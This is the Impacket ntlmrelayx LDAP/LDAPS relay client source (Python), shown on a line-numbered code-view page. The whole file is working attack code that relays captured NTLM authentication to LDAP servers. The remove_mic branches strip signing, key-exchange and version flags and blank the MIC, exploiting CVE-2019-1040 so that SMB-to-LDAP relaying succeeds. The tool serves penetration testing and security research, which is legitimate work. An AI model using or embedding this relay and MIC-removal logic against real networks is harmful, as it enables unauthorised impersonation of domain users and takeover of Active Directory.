Hide keyboard shortcuts

Hot-keys on this page

r m x p   toggle line displays

j k   next/prev highlighted chunk

0   (zero) top of page

1   (one) first highlighted chunk

1# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 

2# 

3# This software is provided under under a slightly modified version 

4# of the Apache Software License. See the accompanying LICENSE file 

5# for more information. 

6# 

7# LDAP Protocol Client 

8# 

9# Author: 

10# Dirk-jan Mollema / Fox-IT (https://www.fox-it.com) 

11# Alberto Solino (@agsolino) 

12# 

13# Description: 

14# LDAP client for relaying NTLMSSP authentication to LDAP servers 

15# The way of using the ldap3 library is quite hacky, but its the best 

16# way to make the lib do things it wasn't designed to without touching 

17# its code 

18# 

19import sys 

20from struct import unpack 

21from impacket import LOG 

22from ldap3 import Server, Connection, ALL, NTLM, MODIFY_ADD 

23from ldap3.operation import bind 

24try: 

25 from ldap3.core.results import RESULT_SUCCESS, RESULT_STRONGER_AUTH_REQUIRED 

26except ImportError: 

27 LOG.fatal("ntlmrelayx requires ldap3 > 2.0. To update, use: pip install ldap3 --upgrade") 

28 sys.exit(1) 

29 

30from impacket.examples.ntlmrelayx.clients import ProtocolClient 

31from impacket.nt_errors import STATUS_SUCCESS, STATUS_ACCESS_DENIED 

32from impacket.ntlm import NTLMAuthChallenge, NTLMSSP_AV_FLAGS, AV_PAIRS, NTLMAuthNegotiate, NTLMSSP_NEGOTIATE_SIGN, NTLMSSP_NEGOTIATE_ALWAYS_SIGN, NTLMAuthChallengeResponse, NTLMSSP_NEGOTIATE_KEY_EXCH, NTLMSSP_NEGOTIATE_VERSION 

33from impacket.spnego import SPNEGO_NegTokenResp 

34 

35PROTOCOL_CLIENT_CLASSES = ["LDAPRelayClient", "LDAPSRelayClient"] 

36 

37class LDAPRelayClientException(Exception): 

38 pass 

39 

40class LDAPRelayClient(ProtocolClient): 

41 PLUGIN_NAME = "LDAP" 

42 MODIFY_ADD = MODIFY_ADD 

43 

44 def __init__(self, serverConfig, target, targetPort = 389, extendedSecurity=True ): 

45 ProtocolClient.__init__(self, serverConfig, target, targetPort, extendedSecurity) 

46 self.extendedSecurity = extendedSecurity 

47 self.negotiateMessage = None 

48 self.authenticateMessageBlob = None 

49 self.server = None 

50 

51 def killConnection(self): 

52 if self.session is not None: 

53 self.session.socket.close() 

54 self.session = None 

55 

56 def initConnection(self): 

57 self.server = Server("ldap://%s:%s" % (self.targetHost, self.targetPort), get_info=ALL) 

58 self.session = Connection(self.server, user="a", password="b", authentication=NTLM) 

59 self.session.open(False) 

60 return True 

61 

62 def sendNegotiate(self, negotiateMessage): 

63 negoMessage = NTLMAuthNegotiate() 

64 negoMessage.fromString(negotiateMessage) 

65 

66 # When exploiting CVE-2019-1040, remove message signing flag 

67 # For SMB->LDAP this is required otherwise it triggers LDAP signing 

68 # Changing flags breaks the signature unless the client uses a non-standard implementation of NTLM 

69 if self.serverConfig.remove_mic: 

70 if negoMessage['flags'] & NTLMSSP_NEGOTIATE_SIGN == NTLMSSP_NEGOTIATE_SIGN: 

71 negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_SIGN 

72 if negoMessage['flags'] & NTLMSSP_NEGOTIATE_ALWAYS_SIGN == NTLMSSP_NEGOTIATE_ALWAYS_SIGN: 

73 negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_ALWAYS_SIGN 

74 

75 self.negotiateMessage = negoMessage.getData() 

76 

77 # Warn if the relayed target requests signing, which will break our attack 

78 if negoMessage['flags'] & NTLMSSP_NEGOTIATE_SIGN == NTLMSSP_NEGOTIATE_SIGN: 

79 LOG.warning('The client requested signing. Relaying to LDAP will not work! (This usually happens when relaying from SMB to LDAP)') 

80 

81 with self.session.connection_lock: 

82 if not self.session.sasl_in_progress: 

83 self.session.sasl_in_progress = True 

84 request = bind.bind_operation(self.session.version, 'SICILY_PACKAGE_DISCOVERY') 

85 response = self.session.post_send_single_response(self.session.send('bindRequest', request, None)) 

86 result = response[0] 

87 try: 

88 sicily_packages = result['server_creds'].decode('ascii').split(';') 

89 except KeyError: 

90 raise LDAPRelayClientException('Could not discover authentication methods, server replied: %s' % result) 

91 

92 if 'NTLM' in sicily_packages: # NTLM available on server 

93 request = bind.bind_operation(self.session.version, 'SICILY_NEGOTIATE_NTLM', self) 

94 response = self.session.post_send_single_response(self.session.send('bindRequest', request, None)) 

95 result = response[0] 

96 if result['result'] == RESULT_SUCCESS: 

97 challenge = NTLMAuthChallenge() 

98 challenge.fromString(result['server_creds']) 

99 return challenge 

100 else: 

101 raise LDAPRelayClientException('Server did not offer NTLM authentication!') 

102 

103 #This is a fake function for ldap3 which wants an NTLM client with specific methods 

104 def create_negotiate_message(self): 

105 return self.negotiateMessage 

106 

107 def sendAuth(self, authenticateMessageBlob, serverChallenge=None): 

108 if unpack('B', authenticateMessageBlob[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP: 

109 respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob) 

110 token = respToken2['ResponseToken'] 

111 else: 

112 token = authenticateMessageBlob 

113 

114 authMessage = NTLMAuthChallengeResponse() 

115 authMessage.fromString(token) 

116 # When exploiting CVE-2019-1040, remove flags 

117 if self.serverConfig.remove_mic: 

118 if authMessage['flags'] & NTLMSSP_NEGOTIATE_SIGN == NTLMSSP_NEGOTIATE_SIGN: 

119 authMessage['flags'] ^= NTLMSSP_NEGOTIATE_SIGN 

120 if authMessage['flags'] & NTLMSSP_NEGOTIATE_ALWAYS_SIGN == NTLMSSP_NEGOTIATE_ALWAYS_SIGN: 

121 authMessage['flags'] ^= NTLMSSP_NEGOTIATE_ALWAYS_SIGN 

122 if authMessage['flags'] & NTLMSSP_NEGOTIATE_KEY_EXCH == NTLMSSP_NEGOTIATE_KEY_EXCH: 

123 authMessage['flags'] ^= NTLMSSP_NEGOTIATE_KEY_EXCH 

124 if authMessage['flags'] & NTLMSSP_NEGOTIATE_VERSION == NTLMSSP_NEGOTIATE_VERSION: 

125 authMessage['flags'] ^= NTLMSSP_NEGOTIATE_VERSION 

126 authMessage['MIC'] = b'' 

127 authMessage['MICLen'] = 0 

128 authMessage['Version'] = b'' 

129 authMessage['VersionLen'] = 0 

130 token = authMessage.getData() 

131 

132 with self.session.connection_lock: 

133 self.authenticateMessageBlob = token 

134 request = bind.bind_operation(self.session.version, 'SICILY_RESPONSE_NTLM', self, None) 

135 response = self.session.post_send_single_response(self.session.send('bindRequest', request, None)) 

136 result = response[0] 

137 self.session.sasl_in_progress = False 

138 

139 if result['result'] == RESULT_SUCCESS: 

140 self.session.bound = True 

141 self.session.refresh_server_info() 

142 return None, STATUS_SUCCESS 

143 else: 

144 if result['result'] == RESULT_STRONGER_AUTH_REQUIRED and self.PLUGIN_NAME != 'LDAPS': 

145 raise LDAPRelayClientException('Server rejected authentication because LDAP signing is enabled. Try connecting with TLS enabled (specify target as ldaps://hostname )') 

146 return None, STATUS_ACCESS_DENIED 

147 

148 #This is a fake function for ldap3 which wants an NTLM client with specific methods 

149 def create_authenticate_message(self): 

150 return self.authenticateMessageBlob 

151 

152 #Placeholder function for ldap3 

153 def parse_challenge_message(self, message): 

154 pass 

155 

156class LDAPSRelayClient(LDAPRelayClient): 

157 PLUGIN_NAME = "LDAPS" 

158 MODIFY_ADD = MODIFY_ADD 

159 

160 def __init__(self, serverConfig, target, targetPort = 636, extendedSecurity=True ): 

161 LDAPRelayClient.__init__(self, serverConfig, target, targetPort, extendedSecurity) 

162 

163 def initConnection(self): 

164 self.server = Server("ldaps://%s:%s" % (self.targetHost, self.targetPort), get_info=ALL) 

165 self.session = Connection(self.server, user="a", password="b", authentication=NTLM) 

166 self.session.open(False) 

167 return True